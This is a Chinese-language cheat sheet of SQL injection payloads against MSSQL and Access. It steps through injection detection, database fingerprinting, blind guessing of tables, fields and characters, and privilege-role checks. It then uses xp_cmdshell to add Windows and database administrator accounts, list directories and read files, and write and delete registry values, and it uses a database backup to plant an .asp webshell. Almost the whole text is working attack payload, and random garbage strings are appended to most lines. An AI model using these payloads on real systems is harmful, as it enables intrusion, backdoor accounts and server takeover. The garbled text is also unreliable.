1.判断是否有注入;and 1=1 ;and 1=2 :qj;f];|
2.初步判断是否是mssql ;and user>0 0*oavY*
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3.注入参数是字符'and [查询条件] and ''=' TXf60{:f
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' y9LO;{(
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5.判断数据库系统 n6M #Xc'JA
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;and (select count(*) from sysobjects)>0 mssql YU)%-V\
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;and (select count(*) from msysobjects)>0 access ~Cg7
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 j(K)CHH
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 G!G:YVWXP
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 h+&iWb3;
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9.(1)猜字段的ascii值(access) jAv3qMQA
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 R?/xH=u>
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(2)猜字段的ascii值(mssql) \&ZEIAe
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 #n15_cd
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10.测试权限结构(mssql) qN9 ?$\
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 11Qi
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- *tk=D sRW
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- i_*.
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 1[#sHj$Na`
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- .J&89I]U
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 05\0g9
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;and 1=(select IS_MEMBER('db_owner'));-- skTaIGRL
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11.添加mssql和系统的帐户 m|x_++3
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;exec master.dbo.sp_addlogin username;-- Ruq>+ }4
;exec master.dbo.sp_password null,username,password;-- IMMsOl
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- L;L_$hu)
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;exec master.dbo.xp_cmdshell 'net user username password Ui9;rh$1eU
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- Mqk|H~l5c
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- e Y^zs0
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12.(1)遍历目录 cXf/
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;insert dirs exec master.dbo.xp_dirtree 'c:\' n5BD0q
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;and (select top 1 paths from dirs)>0 +/kOUz/]
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) K"5q387!
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- W?P4oKsql*
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 7t}s5}Z 4
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 T"C.>G'[B
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 #Yp&yi
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 YDYNAOThnb
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13.mssql中的存储过程 KHC Fz
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xp_regenumvalues 注册表根键, 子键 0:4>rYBC
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 0c!^=(
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xp_regread 根键,子键,键值名 0raFb,6l
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 \pTC[Ry1
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xp_regwrite 根键,子键, 值名, 值类型, 值 c~OPH
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ;1nXJ{jKw
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xp_regdeletevalue 根键,子键,值名 rLmc(-q
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ;/?w-)n?
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 `ZM$\Q=:
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14.mssql的backup创建webshell ^*B@=
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use model mSZg;7DE3*
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create table cmd(str image); di9OQ*6a7
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insert into cmd(str) values (''); gn~^Ajo
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backup database model to disk='c:\l.asp'; VSV]6$~H
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15.mssql内置函数 -m>3@"q
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;and (select @@version)>0 获得Windows的版本号 Yhm veV
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa gVh&c4
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;and (select user_name())>0 爆当前系统的连接用户 B3?rR-2mEE
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;and (select db_name())>0 得到当前连接的数据库 J65:MaS
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16.简洁的webshell wpi$-i`
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use model ZUS5z+o
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create table cmd(str image); c|aX4 =Z
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insert into cmd(str) values (''); CQa8I2VF
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backup database model to disk='g:\wwwtest\l.asp';